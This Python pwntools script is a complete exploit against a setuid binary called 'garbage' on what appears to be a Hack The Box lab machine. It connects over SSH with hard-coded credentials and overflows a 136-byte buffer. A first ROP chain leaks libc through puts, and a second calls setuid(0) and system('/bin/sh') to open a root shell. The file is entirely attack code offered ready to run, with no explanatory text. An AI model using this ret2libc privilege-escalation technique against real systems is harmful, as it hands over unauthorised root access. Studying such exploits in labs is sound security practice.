import urllib
import binascii
from pwn import * 

context.bits = 64
context.arch = 'amd64'
context.endian = 'little'
#context.log_level = 'debug'  # increase verbosity!
context.terminal = ['tmux', 'new-window']


elf = ELF('garbage', checksec=False)
libc = ELF('libc.so.6', checksec=False)

rop = ROP(elf)

rop.call(elf.plt['puts'], [elf.got['puts']])
log.info(rop.dump())

rop.call(elf.symbols['main'])

payload = fit({136: rop.chain()})

#garbage = process('/root/htb/ellingson/garbage', stdin=PTY)
remote = ssh(host='10.10.10.139', user='margo', password='iamgod$08')
garbage = remote.process('/usr/bin/garbage')
garbage.sendlineafter('password: ', payload)
garbage.recvuntil('denied.\n')

leaked_puts = u64(garbage.recvline().strip().ljust(8, "\x00"))
log.success("leaked puts: {}".format(hex(leaked_puts)))

libc.address = leaked_puts - libc.sym.puts
log.info('libc addr: %#x', libc.address)

rop = ROP(elf)

rop.call(libc.sym.setuid, [0])

binsh = next(libc.search('/bin/sh'))
rop.call(libc.sym.system, [binsh])

payload = fit({136: rop.chain()})
log.info(rop.dump())

garbage.sendlineafter('password: ', payload)
garbage.interactive()
garbage.close()
